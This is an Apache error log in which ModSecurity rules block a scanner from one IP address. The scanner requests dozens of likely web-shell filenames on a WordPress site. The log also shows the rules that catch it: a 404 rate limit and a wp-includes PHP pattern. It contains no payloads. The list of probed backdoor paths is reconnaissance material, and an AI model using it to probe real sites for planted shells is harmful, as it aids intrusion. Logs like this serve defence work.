[Sun May 24 21:58:13.643243 2026] [:error] [pid 11280:tid 11303] [client 20.195.192.35:10154] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ahMD9YRn5s7laoSxy1Qb4gAAAFI"]
[Sun May 24 21:58:14.290961 2026] [:error] [pid 15835:tid 15846] [client 20.195.192.35:9988] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "ahMD9mWbknYlUM9P0qPlowAAAAk"]
[Sun May 24 21:58:14.928647 2026] [:error] [pid 11282:tid 11345] [client 20.195.192.35:10109] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "ahMD9u0bPyN3C7HZ1R-nwwAAAMU"]
[Sun May 24 21:58:15.655939 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:9994] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "ahMD94fq_sTmmtTKm1U2hAAAAQQ"]
[Sun May 24 21:58:16.546751 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10067] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "ahMD-Ifq_sTmmtTKm1U2hwAAAQw"]
[Sun May 24 21:58:17.253448 2026] [:error] [pid 11282:tid 11360] [client 20.195.192.35:9990] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "ahMD-e0bPyN3C7HZ1R-nxAAAANQ"]
[Sun May 24 21:58:18.007715 2026] [:error] [pid 11368:tid 11393] [client 20.195.192.35:10111] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ahMD-ofq_sTmmtTKm1U2iAAAARc"]
[Sun May 24 21:58:18.829639 2026] [:error] [pid 11282:tid 11343] [client 20.195.192.35:10135] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ahMD-u0bPyN3C7HZ1R-nxgAAAMM"]
[Sun May 24 21:58:19.721215 2026] [:error] [pid 11282:tid 11359] [client 20.195.192.35:10102] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ahMD--0bPyN3C7HZ1R-nxwAAANM"]
[Sun May 24 21:58:20.453191 2026] [:error] [pid 11368:tid 11378] [client 20.195.192.35:10103] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "ahMD_Ifq_sTmmtTKm1U2iwAAAQg"]
[Sun May 24 21:58:21.210989 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:10104] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ahMD_Yfq_sTmmtTKm1U2jQAAARE"]
[Sun May 24 21:58:22.158323 2026] [:error] [pid 11281:tid 11317] [client 20.195.192.35:10150] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ahMD_pKmC9taWvA91j6KMgAAAIQ"]
[Sun May 24 21:58:23.476227 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10063] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ahMD_4fq_sTmmtTKm1U2jwAAAQ4"]
[Sun May 24 21:58:24.409426 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10181] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ahMEAIfq_sTmmtTKm1U2kQAAAQM"]
[Sun May 24 21:58:25.062375 2026] [:error] [pid 11368:tid 11379] [client 20.195.192.35:10083] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ahMEAYfq_sTmmtTKm1U2kwAAAQk"]
[Sun May 24 21:58:25.899577 2026] [:error] [pid 11368:tid 11392] [client 20.195.192.35:10072] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ahMEAYfq_sTmmtTKm1U2lQAAARY"]
[Sun May 24 21:58:26.954430 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10076] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ahMEAofq_sTmmtTKm1U2mAAAARQ"]
[Sun May 24 21:58:27.796434 2026] [:error] [pid 11281:tid 11332] [client 20.195.192.35:10084] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ahMEA5KmC9taWvA91j6KNgAAAJM"]
[Sun May 24 21:58:28.582970 2026] [:error] [pid 11282:tid 11351] [client 20.195.192.35:10151] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahMEBO0bPyN3C7HZ1R-nzQAAAMs"]
[Sun May 24 21:58:29.461490 2026] [:error] [pid 11282:tid 11354] [client 20.195.192.35:9985] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahMEBe0bPyN3C7HZ1R-n0QAAAM4"]
[Sun May 24 21:58:30.508074 2026] [:error] [pid 15835:tid 15843] [client 20.195.192.35:10190] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahMEBmWbknYlUM9P0qPlpgAAAAY"]
[Sun May 24 21:58:31.647083 2026] [:error] [pid 11282:tid 11341] [client 20.195.192.35:10029] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "ahMEB-0bPyN3C7HZ1R-n1AAAAME"]
[Sun May 24 21:58:32.526805 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10189] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ahMECIfq_sTmmtTKm1U2nwAAAQ4"]
[Sun May 24 21:58:33.311959 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10110] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ahMECYfq_sTmmtTKm1U2oAAAAQU"]
[Sun May 24 21:58:34.294832 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:10071] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ahMECofq_sTmmtTKm1U2pAAAAQ8"]
[Sun May 24 21:58:35.714897 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:10088] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ahMEC4fq_sTmmtTKm1U2qQAAAQ0"]
[Sun May 24 21:58:37.038052 2026] [:error] [pid 11368:tid 11388] [client 20.195.192.35:10089] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "ahMEDYfq_sTmmtTKm1U2qgAAARI"]
[Sun May 24 21:58:39.966435 2026] [:error] [pid 15835:tid 15851] [client 20.195.192.35:10057] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "ahMED2WbknYlUM9P0qPlrwAAAA4"]
[Sun May 24 21:58:42.602544 2026] [:error] [pid 15835:tid 15849] [client 20.195.192.35:10164] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "ahMEEmWbknYlUM9P0qPltQAAAAw"]
[Sun May 24 21:58:44.096039 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10105] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "ahMEFIfq_sTmmtTKm1U2rQAAAQI"]
[Sun May 24 21:58:45.049154 2026] [:error] [pid 15835:tid 15842] [client 20.195.192.35:10107] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ahMEFWWbknYlUM9P0qPlvAAAAAU"]
[Sun May 24 21:58:46.240779 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:10046] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ahMEFofq_sTmmtTKm1U2sgAAAQc"]
[Sun May 24 21:58:47.781694 2026] [:error] [pid 11281:tid 11322] [client 20.195.192.35:10099] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ahMEF5KmC9taWvA91j6KSgAAAIk"]
[Sun May 24 21:58:48.612529 2026] [:error] [pid 11280:tid 11309] [client 20.195.192.35:10068] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ahMEGIRn5s7laoSxy1Qb7AAAAFg"]
[Sun May 24 21:58:49.310910 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10025] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ahMEGYfq_sTmmtTKm1U2tAAAAQU"]
[Sun May 24 21:58:50.178409 2026] [:error] [pid 11282:tid 11341] [client 20.195.192.35:10086] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ahMEGu0bPyN3C7HZ1R-n4wAAAME"]
[Sun May 24 21:58:51.156716 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10095] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ahMEG4fq_sTmmtTKm1U2twAAAQI"]
[Sun May 24 21:58:52.235337 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10012] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ahMEHIfq_sTmmtTKm1U2ugAAAQ4"]
[Sun May 24 21:58:53.576748 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:10161] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ahMEHYfq_sTmmtTKm1U2vQAAAQc"]
[Sun May 24 21:58:54.807665 2026] [:error] [pid 15835:tid 15845] [client 20.195.192.35:10163] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ahMEHmWbknYlUM9P0qPlwQAAAAg"]
[Sun May 24 21:58:55.760924 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:10073] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ahMEH4fq_sTmmtTKm1U2wQAAAQw"]
[Sun May 24 21:58:56.596311 2026] [:error] [pid 11281:tid 11333] [client 20.195.192.35:10021] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ahMEIJKmC9taWvA91j6KTwAAAJQ"]
[Sun May 24 21:58:57.368495 2026] [:error] [pid 11282:tid 11360] [client 20.195.192.35:10219] [client 20.195.192.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ahMEIe0bPyN3C7HZ1R-n5gAAANQ"]
[Sun May 24 21:58:58.227271 2026] [:error] [pid 11280:tid 11303] [client 20.195.192.35:10056] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahMEIoRn5s7laoSxy1Qb8AAAAFI"]
[Sun May 24 21:58:58.877580 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10031] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahMEImWbknYlUM9P0qPl5QAAABI"]
[Sun May 24 21:58:59.749977 2026] [:error] [pid 15835:tid 15847] [client 20.195.192.35:9989] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahMEI2WbknYlUM9P0qPl6gAAAAo"]
[Sun May 24 21:59:01.550811 2026] [:error] [pid 11281:tid 11335] [client 20.195.192.35:10000] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ahMEJZKmC9taWvA91j6KVwAAAJY"]
[Sun May 24 21:59:02.188635 2026] [:error] [pid 11368:tid 11379] [client 20.195.192.35:10002] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ahMEJofq_sTmmtTKm1U2xAAAAQk"]
[Sun May 24 21:59:03.315484 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:10033] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ahMEJ4fq_sTmmtTKm1U2xQAAAQQ"]
[Sun May 24 21:59:04.446052 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:10092] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ahMEKGWbknYlUM9P0qPl7QAAABU"]
[Sun May 24 21:59:06.015683 2026] [:error] [pid 15835:tid 15838] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Sun May 24 21:59:06.969170 2026] [:error] [pid 15835:tid 15844] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun May 24 21:59:07.280851 2026] [:error] [pid 15835:tid 15861] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sun May 24 21:59:07.592478 2026] [:error] [pid 15835:tid 15842] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sun May 24 21:59:07.937066 2026] [:error] [pid 15835:tid 15851] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/hypo.php
[Sun May 24 21:59:09.703833 2026] [:error] [pid 15835:tid 15860] [client 20.195.192.35:9991] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun May 24 21:59:10.359744 2026] [:error] [pid 15835:tid 15843] [client 20.195.192.35:9991] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/00.php"] [unique_id "ahMELmWbknYlUM9P0qPl-gAAAAY"]
[Sun May 24 21:59:11.161727 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:9951] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/00.php"] [unique_id "ahMEL2WbknYlUM9P0qPl_QAAABI"]
[Sun May 24 21:59:12.468747 2026] [:error] [pid 15835:tid 15861] [client 20.195.192.35:10010] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/00.php"] [unique_id "ahMEMGWbknYlUM9P0qPmAwAAABg"]
